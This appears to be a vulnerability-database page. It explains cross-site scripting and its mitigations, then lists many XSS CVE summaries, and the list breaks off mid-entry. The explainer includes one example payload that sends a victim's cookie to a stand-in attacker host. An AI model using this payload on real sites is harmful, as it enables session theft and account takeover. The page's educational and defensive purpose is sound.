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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39249)

EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Client Invoicing by Sprout Invoices WordPress plugin before 19.9.7 does not sanitise and escape some of its settings, which could allow high privilege users to perform Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Client Invoicing By Sprout Invoices
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The Testimonial WordPress plugin before 1.6.0 does not escape some testimonial fields which could allow high privilege users to perform Cross Site Scripting attacks even when the unfiltered_html. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS Testimonial Builder
NVD WPScan
EPSS 1% CVSS 9.8
CRITICAL Act Now

The Interior Server and Gateway Server components of TIBCO Software Inc.'s TIBCO PartnerExpress contain a vulnerability that theoretically allows an unauthenticated attacker with network access to. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Partnerexpress
NVD
EPSS 1% CVSS 9.0
CRITICAL Act Now

The Interior Server and Gateway Server components of TIBCO Software Inc.'s TIBCO PartnerExpress contain easily exploitable Stored and Reflected Cross Site Scripting (XSS) vulnerabilities that allow a. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Partnerexpress
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Kirby is an open source file structured CMS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Kirby
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Kirby is an open source file structured CMS ### Impact Kirby's writer field stores its formatted content as HTML code. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Kirby
NVD GitHub
EPSS 1% CVSS 9.8
CRITICAL Act Now

In Factor (App Framework & Headless CMS) v1.0.4 to v1.8.30, improperly invalidate a user’s session even after the user logs out of the application. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Factor
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

In Factor (App Framework & Headless CMS) forum plugin, versions v1.3.3 to v1.8.30, are vulnerable to stored Cross-Site Scripting (XSS) at the “post reply” section. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Factor
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

In Factor (App Framework & Headless CMS) forum plugin, versions v1.3.8 to v1.8.30, are vulnerable to reflected Cross-Site Scripting (XSS) at the “tags” and “category” parameters in the URL. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Factor
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

In Factor (App Framework & Headless CMS) forum plugin, versions 1.3.5 to 1.8.30, are vulnerable to reflected Cross-Site Scripting (XSS) at the “search” parameter in the URL. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Factor
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Nextcloud is an open-source, self-hosted productivity platform. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Nextcloud XSS Talk
NVD GitHub
EPSS 78% CVSS 6.1
MEDIUM POC THREAT This Month

ResourceSpace before 9.6 rev 18290 is affected by a reflected Cross-Site Scripting vulnerability in plugins/wordpress_sso/pages/index.php via the wordpress_user parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Resourcespace
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

IBM Tivoli Key Lifecycle Manager 3.0, 3.0.1, 4.0, and 4.1 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Security Guardium Key Lifecycle Manager +1
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

WebAdmin Control Panel in Atmail 6.5.0 (a version released in 2012) allows XSS via the format parameter to the default URI. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Atmail
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

This vulnerability could allow an attacker to send malicious Javascript code resulting in hijacking of the user’s cookie/session tokens, redirecting the user to a malicious webpage, and performing. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Webaccess Hmi Designer
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Grand Vice info Co. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Webopac
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

django-helpdesk is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

Python XSS Django Helpdesk
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

snipe-it is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Snipe It
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A cross-site scripting (XSS) vulnerability has been reported to affect QNAP device running QmailAgent. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Qnap XSS Qmailagent
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

In GNU Mailman before 2.1.36, a crafted URL to the Cgi/options.py user options page can execute arbitrary JavaScript for XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Mailman Debian Linux
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Jenkins Scriptler Plugin 3.3 and earlier does not escape the name of scripts on the UI when asking to confirm their deletion, resulting in a stored cross-site scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Jenkins XSS Scriptler
NVD
EPSS 88% CVSS 5.4
MEDIUM PATCH This Month

Jenkins Active Choices Plugin 2.5.6 and earlier does not escape the parameter name of reactive parameters and dynamic reference parameters, resulting in a stored cross-site scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Jenkins XSS Active Choices
NVD
EPSS 79% CVSS 6.1
MEDIUM POC THREAT This Month

Dolibarr ERP and CRM 13.0.2 allows XSS via object details, as demonstrated by > and < characters in the onpointermove attribute of a BODY element to the user-management feature. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Dolibarr Erp Crm
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Airangel HSMX Gateway devices through 5.2.04 is vulnerable to stored Cross Site Scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Hsmx App 25 Firmware Hsmx App 100 Firmware +3
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Beeline Smart Box 2.0.38 is vulnerable to Cross Site Scripting (XSS) via the choose_mac parameter to setup.cgi. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Smart Box Firmware
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

An XSS issue was discovered in the google_for_jobs (aka Google for Jobs) extension before 1.5.1 and 2.x before 2.1.1 for TYPO3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Google XSS Google For Jobs
NVD
EPSS 3% CVSS 9.6
CRITICAL POC PATCH Act Now

In uClibc and uClibc-ng before 1.0.39, incorrect handling of special characters in domain names returned by DNS servers via gethostbyname, getaddrinfo, gethostbyaddr, and getnameinfo can lead to. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

RCE XSS Uclibc +1
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM This Month

In Phoenix Contact FL MGUARD 1102 and 1105 in Versions 1.4.0, 1.4.1 and 1.5.0 a user with high privileges can inject HTML code (XSS) through web-based management or the REST API with a manipulated. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Fl Mguard 1102 Firmware Fl Mguard 1105 Firmware
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

In publify, versions v8.0 to v9.2.4 are vulnerable to stored XSS as a result of an unrestricted file upload. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS File Upload Publify
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

In Publify, versions v8.0 to v9.2.4 are vulnerable to stored XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Publify
NVD GitHub
EPSS 1% CVSS 7.6
HIGH PATCH This Week

A Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) vulnerability exists when Power BI Report Server Template file (pbix) containing HTML files is uploaded to the server and HTML files. Rated high severity (CVSS 7.6), this vulnerability is remotely exploitable, low attack complexity.

CSRF Privilege Escalation XSS +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Thruk 2.40-2 allows /thruk/#cgi-bin/extinfo.cgi?type=2&host={HOSTNAME]&service={SERVICENAME]&backend={BACKEND] Reflected XSS via the host or service parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Thruk
NVD
EPSS 3% CVSS 6.1
MEDIUM POC This Month

Thruk 2.40-2 allows /thruk/#cgi-bin/status.cgi?style=combined&title={TITLE] Reflected XSS via the host or title parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Thruk
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

In JetBrains Hub before 2021.1.13690, stored XSS is possible. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Hub
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

In JetBrains TeamCity before 2021.1.2, stored XSS is possible. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Teamcity
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

In JetBrains TeamCity before 2021.1.2, email notifications could include unescaped HTML for XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Teamcity
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

JetBrains YouTrack before 2021.3.24402 is vulnerable to stored XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Youtrack
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

In JetBrains YouTrack before 2021.3.21051, stored XSS is possible. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Youtrack
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Multiple Cross Site Scripting (XSS) vulnerabilities exist in SourceCodester CASAP Automated Enrollment System 1.0 via the (1) user_username and (2) category parameters in save_class.php, the (3). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Casap Automated Enrollment System
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Multiple Cross Site Scripting (XSS) vulnerabilities exist in SourceCodester Tailor Management 1.0 via the (1) eid parameter in (a) partedit.php and (b) customeredit.php, the (2) id parameter in (a). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Tailor Management System
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Multiple Cross Site Scripting (XSS) vulnerabilities exist in VFront 0.99.5 via the (1) s parameter in search_all.php and the (2) msg parameter in add.attach.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Vfront
NVD
EPSS 2% CVSS 5.4
MEDIUM POC This Month

A Stored Cross Site Scripting (XSS) vulnerability exists in Sourcecodester Online Enrollment Management System in PHP and PayPal Free Source Code 1.0 in the Add-Users page via the Name parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Enrollment Management System
NVD Exploit-DB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Support Board WordPress plugin before 3.3.5 allows Authenticated (Agent+) users to perform Cross-Site Scripting attacks by placing a payload in the notes field, when an administrator or any. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Support Board
NVD GitHub WPScan
EPSS 0% CVSS 4.3
MEDIUM POC This Month

The WP Survey Plus WordPress plugin through 1.0 does not have any authorisation and CSRF checks in place in its AJAX actions, allowing any user to call them and add/edit/delete Surveys. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

CSRF WordPress XSS +2
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The WP Header Images WordPress plugin before 2.0.1 does not sanitise and escape the t parameter before outputting it back in the plugin's settings page, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Header Images
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The Print-O-Matic WordPress plugin before 2.0.3 does not escape some of its settings before outputting them in attribute, which could allow high privilege users to perform Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS Print O Matic
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Export any WordPress data to XML/CSV WordPress plugin before 1.3.1 does not escape its Export's Name before outputting it in Manage Exports settings, which could allow high privilege users to. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp All Export
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Qwizcards - online quizzes and flashcards WordPress plugin before 3.62 does not properly sanitize and escape some of its settings, allowing high privilege users to perform Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Qwizcards
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Quiz Tool Lite WordPress plugin through 2.3.15 does not sanitize multiple input fields used when creating or managing quizzes and in other setting options, allowing high privilege users to. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Quiz Tool Lite
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Simple Download Monitor WordPress plugin before 3.9.5 does not escape the 1) sdm_active_tab GET parameter and 2) sdm_stats_start_date/sdm_stats_end_date POST parameters before outputting them. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Simple Download Monitor
NVD WPScan
EPSS 1% CVSS 9.0
CRITICAL POC Act Now

The Simple Download Monitor WordPress plugin before 3.9.5 does not escape the "File Thumbnail" post meta before outputting it in some pages, which could allow users with a role as low as Contributor. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Simple Download Monitor
NVD WPScan
EPSS 2% CVSS 4.8
MEDIUM POC This Month

The School Management System - WPSchoolPress WordPress plugin before 2.1.17 sanitise some fields using sanitize_text_field() but does not escape them before outputting in attributes, resulting in. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wpschoolpress
NVD WPScan Exploit-DB
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Booking.com Banner Creator WordPress plugin before 1.4.3 does not properly sanitize inputs when creating banners, which could allow high privilege users to perform Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Booking Com Banner Creator
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Booking.com Product Helper WordPress plugin before 1.0.2 does not sanitize and escape Product Code when creating Product Shortcode, which could allow high privilege users to perform Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Booking Com Product Helper
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The AddToAny Share Buttons WordPress plugin before 1.7.48 does not escape its Image URL button setting, which could lead allow high privilege users to perform Cross-Site Scripting attacks even when. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS Addtoany Share Buttons
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Storefront Footer Text WordPress plugin through 1.0.1 does not sanitize and escape the "Footer Credit Text" added to pages, allowing high privilege users to perform Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Storefront Footer Text
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The Translate WordPress - Google Language Translator WordPress plugin before 6.0.12 does not sanitise and escape some of its settings before outputting it in various pages, allowing high privilege. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

Google WordPress XSS +1
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM This Month

IBM Security Guardium 10.5, 10.6, 11.0, 11.1, 11.2, and 11.3 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

IBM XSS Security Guardium
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A Cross-site scripting (XSS) vulnerability was discovered in OPNsense before 21.7.4 via the LDAP attribute return in the authentication tester. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Opnsense
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Cloudera Manager 5.x, 6.x, 7.1.x, 7.2.x, and 7.3.x allows XSS via the path parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cloudera Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cloudera Hue 4.6.0 allows XSS via the type parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Hue
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cloudera Hue 4.6.0 allows XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Hue
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Cloudera Manager 5.x, 6.x, 7.1.x, 7.2.x, and 7.3.x allows XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cloudera Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

PHP Event Calendar through 2021-11-04 allows persistent cross-site scripting (XSS), as demonstrated by the /server/ajax/events_manager.php title parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Php Event Calendar
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Apostrophe CMS versions between 2.63.0 to 3.3.1 are vulnerable to Stored XSS where an editor uploads an SVG file that contains malicious JavaScript onto the Images module, which triggers XSS once. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Apostrophecms
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Multiple Cross Site Scripting (XSS) vulnerabilities exists in Remote Clinic v2.0 in (1) patients/register-patient.php via the (a) Contact, (b) Email, (c) Weight, (d) Profession, (e) ref_contact, (f). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Remote Clinic
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Multiple Cross Site Scripting (XSS) vulnerabilities exits in SEO Panel v4.8.0 via the (1) to_time parameter in (a) backlinks.php, (b) analytics.php, (c) log.php, (d) overview.php, (e) pagespeed.php,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Seo Panel
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Multiple Cross Site Scripting (XSS) vulnerabilities exists in PHPGurukul Shopping v3.1 via the (1) callback parameter in (a) server_side/scripts/id_jsonp.php, (b) server_side/scripts/jsonp.php, and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Shopping Portal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Multiple Cross Site Scripting (XSS) vulnerabilities exist in PHPGurukul Hospital Management System 4.0 via the (1) searchdata parameter in (a) doctor/search.php and (b) admin/patient-search.php, and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Hospital Management System
NVD
EPSS 2% CVSS 5.4
MEDIUM POC This Month

A Stored Cross Site Scripting (XSS) Vulneraibiilty exists in Sourcecodester Engineers Online Portal in PHP via the (1) Quiz title and (2) quiz description parameters to add_quiz.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Engineers Online Portal
NVD GitHub Exploit-DB
EPSS 4% CVSS 4.3
MEDIUM POC This Month

An HTML injection vulnerability exists in Sourcecodester Online Event Booking and Reservation System in PHP/MySQL via the msg parameter to /event-management/index.php. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Event Booking And Reservation System
NVD GitHub
EPSS 2% CVSS 5.4
MEDIUM POC This Month

A Stored Cross Site Scripting (XSS) vulnerability exists in Sourcecodester Online Event Booking and Reservation System in PHP/MySQL via the Holiday reason parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Event Booking And Reservation System
NVD GitHub Exploit-DB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in Power Admin PA Server Monitor 8.2.1.1 allows remote attackers to inject arbitrary web script or HTML via Console.exe. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Pa Server Monitor
NVD
EPSS 61% CVSS 6.1
MEDIUM This Month

Improper validation of ipynb files in GitLab CE/EE version 13.5 and above allows an attacker to execute arbitrary JavaScript code on the victim's behalf. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Gitlab
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A stored Cross-Site Scripting vulnerability in the DataDog integration in all versions of GitLab CE/EE starting from 13.7 before 14.0.9, all versions starting from 14.1 before 14.1.4, and all. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Gitlab
NVD
EPSS 1% CVSS 4.7
MEDIUM PATCH This Month

GraphiQL is the reference implementation of this monorepo, GraphQL IDE, an official project under the GraphQL Foundation. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Graphiql
NVD GitHub
EPSS 1% CVSS 4.7
MEDIUM PATCH This Month

GraphQL Playground is a GraphQL IDE for development of graphQL focused applications. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Playground
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability in Cisco Webex Video Mesh could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the interface. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Cisco XSS Collaboration Meeting Rooms +1
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Prime Infrastructure (PI) and Cisco Evolved Programmable Network Manager (EPNM) could allow an authenticated, remote attacker to conduct. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Cisco XSS Evolved Programmable Network Manager +1
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Prime Access Registrar could allow an authenticated, remote attacker to perform a stored cross-site scripting attack on an affected. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Cisco XSS Prime Access Registrar
NVD
EPSS 1% CVSS 4.8
MEDIUM POC This Month

In XenForo through 2.2.7, a threat actor with access to the admin panel can create a new Advertisement via the Advertising function, and save an XSS payload in the body of the HTML document. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Xenforo
NVD GitHub
EPSS 12% CVSS 4.8
MEDIUM This Month

